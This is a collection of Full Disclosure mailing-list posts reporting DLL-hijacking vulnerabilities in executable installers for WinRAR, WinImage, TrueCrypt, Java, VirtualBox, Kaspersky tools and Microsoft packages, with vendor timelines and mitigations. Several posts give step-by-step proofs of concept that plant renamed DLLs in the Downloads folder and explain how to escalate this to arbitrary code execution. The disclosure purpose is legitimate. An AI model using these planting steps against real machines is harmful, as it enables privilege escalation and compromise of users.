  (on Windows XP) SetupAPI.dll, HNetCfg.dll and XPSP2Res.dll
  (on Windows Vista and above) ProfAPI.dll, Secur32.dll, NTMarta.dll
  and Version.dll

* The offline installer jre-8u66-windows-i586.exe:
  UXTheme.dll, RASAdHlp.dll, NTMarta.dll, Secur32.dll, WinHTTP.dll,
  NetUtils.dll, ProfAPI.dll and WindowsCodecs.dll

* VirtualBox-5.0.12-104815-Win.exe:
  UXTheme.dll, MSIHnd.dll and MSI.dll plus
  (on Windows XP) SFC_OS.dll, ClbCatQ.dll, XPSP2Res.dll, WS2_32.dll
  and WS2Help.dll
  (on Windows 7) PropSys.dll, ProfAPI.dll and DWMAPI.dll


For software downloaded with a web browser the application
directory is typically the user's "Downloads" directory: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
and <http://seclists.org/fulldisclosure/2012/Aug/134> for
"prior art" about this well-known and well-documented vulnerability.


Oracle published an advisory and new installers for Java SE today:
<http://www.oracle.com/technetwork/topics/security/alert-cve-2016-0603-2874360.html>

Oracle published updated versions of VirtualBox on 2019-01-19:
<http://www.oracle.com/technetwork/topics/security/cpujan2016-2367955.html>


stay tuned
Stefan Kanthak

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Executable installers are vulnerable^WEVIL (case 25): WinRAR's installer and self-extractors allow arbitrary (remote) code execution and escalation of privilege

[Stefan Kanthak]

Hi @ll,

the executable installers of WinRAR 5.30 and earlier versions
as well as ALL self-extracting archives created with them
load and execute UXTheme.dll, RichEd32.dll and RichEd20.dll
from their "application directory".

For software downloaded with a web browser the application
directory is typically the user's "Downloads" directory: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
and <http://seclists.org/fulldisclosure/2012/Aug/134> for
"prior art" about this well-known and well-documented vulnerability.


If an attacker places the DLLs named above in the users
"Downloads" directory (for example per drive-by download or
social engineering) this vulnerability becomes a remote code
execution.

Due to the application manifest embedded in the executable
installer which specifies "requireAdministrator" it is run
with administrative privileges ("protected" administrators
are prompted for consent, unprivileged standard users are
prompted for an administrator password); execution of the
DLLs therefore results in an escalation of privilege!


See <http://seclists.org/fulldisclosure/2015/Nov/101>
and <http://seclists.org/fulldisclosure/2015/Dec/86>
plus <http://seclists.org/fulldisclosure/2015/Dec/121>
for more details.


RARLabs published WinRAR 5.31 on 2016-02-04:
<http://www.rarlab.com/rarnew.htm> 


stay tuned
Stefan Kanthak

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Executable installers are vulnerable^WEVIL (case 23): WinImage's installer and self-extractors allow arbitrary (remote) code execution and escalation of privilege

[Stefan Kanthak]

Hi @ll,

the executable installer winima90.exe and previous versions
available from <http://www.winimage.com> loads and executes
CRTdll.dll, UXTheme.dll, RichEd32.dll and WindowsCodecs.dll
from its "application directory".

Self-extracting executables created with WinImage load and
execute CRTdll.dll, UXTheme.dll and MPR.dll from their
"application directory".


For software downloaded with a web browser the application
directory is typically the user's "Downloads" directory: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
and <http://seclists.org/fulldisclosure/2012/Aug/134> for
"prior art" about this well-known and well-documented vulnerability.


If an attacker places the DLLs named above in the users
"Downloads" directory (for example per drive-by download or
social engineering) this vulnerability becomes a remote code
execution.

Due to the application manifest embedded in the executable
installer which specifies "requireAdministrator" it is run
with administrative privileges ("protected" administrators
are prompted for consent, unprivileged standard users are
prompted for an administrator password); execution of the
DLLs therefore results in an escalation of privilege!


See <http://seclists.org/fulldisclosure/2015/Nov/101>
and <http://seclists.org/fulldisclosure/2015/Dec/86>
plus <http://seclists.org/fulldisclosure/2015/Dec/121>
 

Proof of concept (verified on Windows XP, Windows Vista, Windows 7,
Windows Server 2008 [R2]; should work on newer versions too):

1. visit <http://home.arcor.de/skanthak/sentinel.html>, download
   <http://home.arcor.de/skanthak/download/SENTINEL.DLL> and save
   it as UXTheme.dll in your "Downloads" directory, then copy it
   as RichEd32.dll, WindowsCodecs.dll and MPR.dll;

2. download winima90.exe and save it in your "Downloads"
   directory;

3. run winima90.exe (or a self-extractor created with WinImage)
   from the "Downloads" directory;

4. notice the message boxes displayed from the DLLs placed in
   step 1.

PWNED!


5. copy the downloaded UXTheme.dll as CRTdll.dll;

6. rerun winima90.exe or a self-extractor from the "Downloads"
   directory.

DOSSED!


This denial of service can easily be turned into an arbitrary code
execution: just create a CRTdll.dll which exports all the symbols
referenced by winima90.exe or the self-extractors and place it in
the "Downloads" directory.


For this well-known (trivial, easy to avoid, easy to detect and
easy to fix) beginner's error see
<https://capec.mitre.org/data/definitions/471.html>,
<https://technet.microsoft.com/en-us/library/2269637.aspx>,
<https://msdn.microsoft.com/en-us/library/ff919712.aspx> and
<https://msdn.microsoft.com/en-us/library/ms682586.aspx> plus
<http://blogs.technet.com/b/srd/archive/2014/05/13/load-library-safely.aspx>:

| To ensure secure loading of libraries
| * Use proper DLL search order.
| * Always specify the fully qualified path when the library location is
~~
|   constant.


regards
Stefan Kanthak


Timeline:
~

2016-01-12report sent to vendor

  NO ANSWER, not even an acknowledgement of receipt

2016-01-21report resent to vendor

  NO ANSWER, not even an acknowledgement of receipt

2016-01-30report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] [CVE-2016-0014] Executable installers are vulnerable^WEVIL (case 1): Microsoft's IExpress resp. WExtract, SFXCab, BoxStub, ...

[Stefan Kanthak]

oval tool,
  
<http://www.microsoft.com/en-us/download/malicious-software-removal-tool-details.aspx?id=16>
  or
  
<http://www.microsoft.com/en-us/download/malicious-software-removal-tool-details.aspx?id=9905>

* ROOTSUPD-KB931125-*.exe, the root certificate updater, see
  <https://support.microsoft.com/kb/931125>

* RVKROOTS.EXE, the root certificate revocation list updater,
  available from the SECURITY (sic!) advisories
  <https://support.microsoft.com/en-us/kb/2728973>
  <https://support.microsoft.com/en-us/kb/2798897>
  <https://support.microsoft.com/en-us/kb/2917500>
  <https://support.microsoft.com/en-us/kb/2982792>
  
  <https://support.microsoft.com/en-us/kb/3050995>
  or the Microsoft Update Catalog
  
<https://catalog.update.microsoft.com/v7/site/ScopedViewInline.aspx?updateid=416de864-839a-4a61-907f-d18cabcc6dda>

* ALL installers of the .NET Framework:
  NDP46-KB3045557-x86-x64-AllOS-ENU.exe,
  NDP46-KB3045557-x86-x64-AllOS-DEU.exe,
  NDP46-KB3045557-x86-x64-AllOS-*.exe,
  dotNetFx40_Full_x86_x64.exe,
  dotNetFx40_Client_x86_x64.exe,
  NDP40-KB2656405-x86.exe,
  NDP40-KB2656405-x64.exe,
  ...,
  NDP*.exe,
  DotNETFX.Exe,
  LangPack.Exe

* Windows Defender Offline, see
  <http://windows.microsoft.com/en-US/windows/what-is-windows-defender-offline>

* ALL Visual C++ Runtime 20xy Redistributable Packages

* ALL hotfixes and updates for Windows 2000, Windows XP, Windows
  Embedded POSReady 2009, Windows Server 2003 (Windows*-KB*-*.exe)

and THOUSANDS more!



Cause:
~~

About 16 years ago Microsoft introduced the NTFS "encrypting file
system".

<https://technet.microsoft.com/en-us/library/cc781588.aspx>:

| When a user modifies EFS options for a file or folder, or when an
| application attempts to access an encrypted file on an NTFS volume,
| the Win32 application programming interface (API) passes the
| resulting EFS-related calls to the Feclient DLL. Feclient then
| calls the EFS remote procedure call (RPC) interfaces in the LSA.

FEClient.dll is loaded on demand by AdvAPI32.dll (one of the Win32
core components) without its well-known fully qualified pathname,
resulting in the vulnerability now fixed with MS16-007 alias KB3121918.


Mitigation(s):
~~

0. DON'T USE EXECUTABLE INSTALLERS [°]!

   If your favourite applications are not distributed in the native
   installer package format of the resp. target platform: ask^WURGE
   their vendors/developers to provide native installation packages.
   If they don't: dump these applications, stay away from such cruft!

1. Turn off UAC's privilege elevation for standard users and installer
   detection for all users:

   
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
   "ConsentPromptBehaviorUser"=dword: ; Automatically deny elevation 
requests
   "EnableInstallerDetection"=dword:

   See 
<https://technet.microsoft.com/en-us/library/dd835564.aspx#BKMK_RegistryKeys>

2. NEVER execute files in UNSAFE directories (like "Downloads" and
   and "%TEMP%")!

3. Deny execution (at least) in the "Downloads" directories and all
   "%TEMP%" directories and their subdirectories:

   * Add the NTFS ACE "(D;OIIO;WP;;;WD)" meaning "deny execution of
 files in this directory for everyone, inheritable to all files
 in all subdirectories" (use CACLS.EXE /S: for example);

   * Use "software restriction policies" resp. AppLocker.

   Consider to apply either/both to every "%USERPROFILE%" as well as
   "%ALLUSERSPROFILE%" alias %ProgramData%" and "%PUBLIC%": Windows
   doesn't place executables in these directories and beyond.

   See <http://home.arcor.de/skanthak/safer.html> as well as
   <http://mechbgon.com/srp/> plus
   <http://csrc.nist.gov/itsec/SP800-68r1.pdf>,
   
<https://www.nsa.gov/ia/_files/os/win2k/application_whitelisting_using_srp.pdf>
   or <https://books.google.de/books?isbn=1437914926> and finally
   <http://www.asd.gov.au/infosec/top35mitigationstrategies.htm>!


stay tuned
Stefan Kanthak


PS: for "case 0" see <http://seclists.org/fulldisclosure/2015/Sep/21>,
for "case 0.5" see <http://seclists.org/fulldisclosure/2013/Oct/5>;
the case numbers are not in chronological order.

PPS: see <http://seclists.org/fulldisclosure/2015/Nov/101> (resp. the
 not yet finished <http://home.arcor.de/skanthak/!execute.html>)
 for more details!


[°] Self-extracting archives and executable installers are flawed^W
b(rainde)ad in concept and dangerous in practice.

DON'T USE SUCH CRUFT!
ALWAYS use the resp. target platforms native package and archive
format.

For Windows these are .INF (plus .CAB) and .MSI (plus .CAB),
introduced 20 years ago (with Windows 95 and Windows NT4) resp

Re: [FD] Executable installers are vulnerable^WEVIL (case 20): TrueCrypt's installers allow arbitrary (remote) code execution and escalation of privilege

[Stefan Kanthak]

"Michel Arboi" <michel.ar...@gmail.com> wrote:

> On 11 January 2016 at 15:37, Stefan Kanthak <stefan.kant...@nexgo.de> wrote:
>> Which but does not mean/imply that everybody abandons TrueCrypt.
> 
> The project has been abruptly killed by the developers without any
> clear explanation. There's something fishy and it cannot be trusted
> anymore.
> Spend your time and energy on forks like CipherShed or VeraCrypt!

See <http://seclists.org/oss-sec/2016/q1/58> alias CVE-2016-1281

And see <http://seclists.org/fulldisclosure/2015/Nov/101> again:

| almost all executable installers (and self-extractors as well
| as "portable" applications too) for Windows have a well-known
| (trivial, trivial to detect and trivial to exploit) vulnerability:

>> STOP posting on top, but DON'T stop reading on top, read that
>> page COMPLETELY and notice the download(s) offered at its end!
> 
> AFAIK, TrueCrypt 7.2 is only capable of decryption. It is provided so
> that users can migrate their data to another system.

and has a vulnerable installer, like all its predecessors and all
forks of TrueCrypt.

stay tuned
Stefan Kanthak

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 38): does Microsoft follow their own security guidance/advisories?

[Stefan Kanthak]

Hi @ll,

in 2009/2010, after beeing hit by "carpet bombing" and "binary
planting" alias "DLL hijacking/spoofing/preloading" (see
<https://blogs.technet.com/b/srd/archive/2009/04/14/ms09-014-addressing-the-safari-carpet-bomb-vulnerability.aspx>
and <https://technet.microsoft.com/en-us/library/2269637.aspx>)
Microsoft finally started to provide security guidance/advisories
for "safe library loading" to Windows developers:

<https://msdn.microsoft.com/en-us/library/ms682586.aspx>

| Applications can control the location from which a DLL is loaded by
| specifying a full path or using another mechanism such as a manifest.

<https://msdn.microsoft.com/en-us/library/ff919712.aspx>

| Wherever possible, specify a fully qualified path when using the
| LoadLibrary, LoadLibraryEx [...] functions.

<http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx>

| When an application loads a DLL without specifying a fully
| qualified path name, Windows will attempt to locate the DLL by
| searching a defined set of directories.
...
| Development best practices state that applications should call
| SetDllDirectory with a blank path before calling
| LoadLibrary("foo.dll") to ensure that foo.dll is not loaded from
| the current directory. We are investigating whether any of our
| own applications are affected by this class of vulnerability so
| that we can take appropriate action to protect customers.

<https://support.microsoft.com/en-us/kb/2389418>

| Use fully qualified paths for all calls to LoadLibrary, [...]
| where you can.

<https://technet.microsoft.com/en-us/library/2269637.aspx>

| This exploit may occur when applications do not directly specify
| the fully qualified path to a library it intends to load.

<https://blogs.technet.com/b/srd/archive/2014/05/13/load-library-safely.aspx>

| Always specify the fully qualified path when the library location
| is constant.


Now the (obviously rhetorical) question: does Microsoft follow their
own guidance?

The (also obvious) answer: THEY DON'T, at least for existing code,
despite "trustworty computing" or the "secure development lifecycle"
Microsoft brags about since years.


Some examples for unsafe library loading recently published:

FEClient.dll (see CVE-2016-0014 and MS16-007):
  introduced in Windows 2000, loaded without fully qualified path
  by AdvAPI32.dll since then.

  FEClient.dll is loaded from the "application directory" of every
  program which uses EFS functions (see
  <https://technet.microsoft.com/en-us/library/cc781588.aspx>
  and <https://msdn.microsoft.com/en-us/library/ms995356.aspx>):
  all executable installers and self-extractors used by Microsoft
  allow^Wsupport "DLL hijacking" via FEClient.dll!


OCIW32.dll, OCI.dll (see MS15-132):
  loaded without fully qualified path by MSDAORA.DLL since Windows NT4.


ELSEXT.dll (see MS15-132):
  loaded without fully qualified path by ELS.DLL since Windows Vista.


MQRT.dll (see MS15-132):
  loaded without fully qualified path by COMSVCS.DLL since Windows NT4.


EDBBCli.dll, ESEBCli2.dll (see MSKB275876):
  loaded without fully qualified path by NTBackup.exe since Windows NT4.

  Mitigation:
  ~~~

  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File 
Execution Options\NTBackup.exe]
  "CWDIllegalInDLLSearch"=dword:

  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore\DLLPaths]
  "EDBBCli"="C:\\Windows\\System32\\Kernel32.Dll"
  "ESEBCli2"="C:\\Windows\\System32\\Kernel32.Dll"


UXTheme.dll (see CVE-2012-4206, ...):
  introduced in Windows XP, loaded without fully qualified path by
  AppWiz.cpl, BrowseUI.dll, ComDlg32.dll, Dot3UI.dll, DUser.dll,
  Explorer.exe, HelpCtr.exe, Kernel32.dll, LogonUI.exe, MMC.exe,
  MSHTML.dll, Shell32.dll, ShlWAPI.dll, ThemeUI.dll, WSCUI.dll,
  WZCDlg.dll and MANY more since then.

  Almost all executables using the Windows GUI allow^Wsupport
  "DLL hijacking" via UXTheme.dll.

  Mitigation: 
  ~~~

  use SAFER alias Software Restriction Policies and deny execution
  everywhere except %SystemRoot% and below and %ProgramFiles% and
  below.

  See <http://home.arcor.de/skanthak/SAFER.html> and/or
  <http://mechbgon.com/srp/index.html> for instructions.


stay tuned
Stefan Kanthak

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Re: [FD] Executable installers are vulnerable^WEVIL (case 20): TrueCrypt's installers allow arbitrary (remote) code execution and escalation of privilege

[Stefan Kanthak]

"Sarah Allen"  wrote:

> TrueCrypt ceased development back in 2014.

Which but does not mean/imply that everybody abandons TrueCrypt.

> Please refer to the below link to migrate to an alternative
> (BitLocker) from TrueCrypt.
> http://truecrypt.sourceforge.net/

STOP posting on top, but DON'T stop reading on top, read that
page COMPLETELY and notice the download(s) offered at its end!

OUCH!

Also notice the MANY download sites that still offer TrueCrypt 7.1a
and its vulnerable executable installer:






...

stay tuned
Stefan

[braindead fullquote removed]

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Executable installers are vulnerable^WEVIL (case 20): TrueCrypt's installers allow arbitrary (remote) code execution and escalation of privilege

[Stefan Kanthak]

Hi @ll,

the executable installers "TrueCrypt Setup 7.1a.exe" and
TrueCrypt-7.2.exe load and execute USP10.dll, RichEd20.dll,
NTMarta.dll and SRClient.dll from their "application directory".

For software downloaded with a web browser the application
directory is typically the user's "Downloads" directory: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
and <http://seclists.org/fulldisclosure/2012/Aug/134> for "prior art"
about this well-known and well-documented vulnerability.


If an attacker places the above named DLLs in the users "Downloads"
directory (for example per drive-by download or social engineering)
this vulnerability becomes a remote code execution.
 
Due to the application manifest embedded in the executables which
specifies "requireAdministrator" the executable installers are run
with administrative privileges ("protected" administrators are
prompted for consent, unprivileged standard users are prompted for
an administrator password); execution of the DLLs therefore results
in an escalation of privilege!


Proof of concept/demonstration:
~~~

(verified on Windows XP, Windows Vista, Windows 7, Windows Server
2008 [R2]; should work on newer versions too)

1. visit <http://home.arcor.de/skanthak/sentinel.html>, download
   <http://home.arcor.de/skanthak/download/SENTINEL.DLL> and store
   it as USP10.dll in your "Downloads" directory, then copy it as
   NTMarta.dll, RichEd20.dll and SRClient.dll;

2. download TrueCrypt-7.2.exe and "TrueCrypt Setup 7.1a.exe" and
   store them in your "Downloads" directory;

3. run TrueCrypt-7.2.exe and "TrueCrypt Setup 7.1a.exe" from your
   "Downloads" directory;

4. notice the message boxes displayed from the DLLs placed in step 1.

PWNED!


5. on Windows XP copy the downloaded USP10.dll as SetupAPI.dll (or
   create an empty file SetupAPI.dll), then rerun TrueCrypt*.exe
   from your "Downloads" directory.

DOSSED!


The denial of service from step 5. can easily be turned into an
arbitrary code execution with elevation of privilege too: add the
exports SetupDiOpenClassRegKey, SetupInstallFromInfSectionA,
SetupOpenInfFileA and SetupCloseInfFile to the SetupAPI.dll copied
to the "Downloads" directory.


For this well-known (trivial, easy to avoid, easy to detect and
easy to fix) beginner's error see
<https://capec.mitre.org/data/definitions/471.html>,
<https://technet.microsoft.com/en-us/library/2269637.aspx>,
<https://msdn.microsoft.com/en-us/library/ff919712.aspx> and
<https://msdn.microsoft.com/en-us/library/ms682586.aspx> plus
<http://blogs.technet.com/b/srd/archive/2014/05/13/load-library-safely.aspx>


See <http://seclists.org/fulldisclosure/2015/Nov/101>,
<http://seclists.org/fulldisclosure/2015/Dec/86> and
<http://seclists.org/fulldisclosure/2015/Dec/121> plus
<http://home.arcor.de/skanthak/sentinel.html> and the still unfinished
<http://home.arcor.de/skanthak/!execute.html> for more details and why
executable installers (and self-extractors too) are bad and should be
dumped.


stay tuned
Stefan Kanthak


PS: I really LOVE (security) software with such trivial beginner's
errors. It's a tell-tale sign to stay away from this crapware!


Timeline:
~

2015-12-23report sent to vendor

  NO ANSWER, not even an acknowledgement of receipt

2016-01-01reports resent to vendor

  NO ANSWER, not even an acknowledgement of receipt

2016-01-08report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Executable installers/self-extractors are vulnerable^WEVIL (case 17): Kaspersky Labs utilities

[Stefan Kanthak]

Hi @ll,

quite some utilities offered for free by Kaspersky Lab load and execute
rogue/bogus DLLs (UXTheme.dll, HNetCfg.dll, RichEd20.dll, RASAdHlp.dll,
SetupAPI.dll, ClbCatQ.dll, XPSP2Res.dll, CryptNet.dll, OLEAcc.dll etc.)
eventually found in the directory they are started from (the "application
directory").

For software downloaded with a web browser the application directory is
typically the user's "Downloads" directory: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
and <http://seclists.org/fulldisclosure/2012/Aug/134> for "prior art"
about this well-known and well-documented vulnerability.


If one of the DLLs named above gets planted in the user's "Downloads"
directory per "drive-by download" or "social engineering" this
vulnerability becomes a remote code execution.


Due to the application manifest embedded in some of the executables
which specifies "requireAdministrator" or the installer detection of
Windows' user account control theses installers/self-extractors are
started with administrative privileges ("protected" administrators are
prompted for consent, unprivileged standard users are prompted for an
administrator password); execution of any hijacked DLL results in
an escalation of privilege!


See <http://seclists.org/fulldisclosure/2015/Nov/101> and
<http://seclists.org/fulldisclosure/2015/Dec/86> plus
<http://home.arcor.de/skanthak/sentinel.html> and the still unfinished
<http://home.arcor.de/skanthak/!execute.html> for more details and why
executable installers (and self-extractors too) are bad and should be
dumped.


Kaspersky Lab published a security advisory 2015-12-23
<https://support.kaspersky.com/vulnerability.aspx?el=12430#231215>
after they made updated versions of their utilities available on
<https://support.kaspersky.com/viruses/utility>


stay tuned
Stefan Kanthak

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Re: [FD] Executable installers are vulnerable^WEVIL (case 15):F-SecureOnlineScanner.exe allows arbitrary (remote) codeexecution and escalation of privilege

[Stefan Kanthak]

Mitja Kolsek <li...@acrossecurity.com> wrote:

> Hi Stefan and all,
> 
>> See the "CWDIllegalInDllSearchPath" setting introduced with KB2264107
>> about 5 years ago, after ACROS finally got enough attention for the
>> vulnerability first published as CVE-2000-0854 (that was 15 years ago,
>> but the vulnerability is still present in ALL installation programs):
>> there were^Ware applications that relied^Wy on loading DLLs from the
>> CWD, so Microsoft CAN'T exclude CWD from the PATH.
>> Microsoft can only offer support to exclude the CWD from the DLL search
>> order: developers can call SetDllDirectory(""), administrators can add
>> the global setting "CWDIllegalInDllSearchPath" or add this setting for
>> individual programs.
> 
> While we finally did get CVE-2000-0854 the overdue attention, we apparently
> didn't promote this enough:
> http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html

About 4 years earlier Microsoft published
<https://technet.microsoft.com/en-us/library/953818.aspx> in response
to <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2540>,
and Will Dormann from CERT/CC published
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>
a little later.

I'd rather say that Microsoft didn't promote
<https://technet.microsoft.com/en-us/library/953818.aspx>,
<https://technet.microsoft.com/en-us/library/ms09-015.aspx>,
<https://support.microsoft.com/en-us/kb/959426> and
<http://blogs.technet.com/b/srd/archive/2009/04/14/ms09-014-addressing-the-safari-carpet-bomb-vulnerability.aspx>
well enough to all the Windows developers.

About a year later with <http://www.binaryplanting.com>,
<http://blogs.technet.com/b/srd/archive/2010/08/31/an-update-on-the-dll-preloading-remote-attack-vector.aspx>
and
<http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx>
both Microsoft and the Windows developers unfortunately focused on
the remote attack vector, but lost sight of the local attack vector
respectively the blended threat from "drive-by downloads" combined
with "DLL hijacking".

OTOH in 2011 Microsoft introduced SetDefaultDllDirectories()
with <https://support.microsoft.com/en-us/kb/2533623> which but
seems largely unknown to almost all developers of executable
installers and self-extractors.


JFTR: until now I only found one executable installer that was not
  susceptible to DLL hijacking. It but uses an unsafe temp
  directory, so: ALL executable installers are vulnerable!


stay tuned
Stefan Kanthak

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/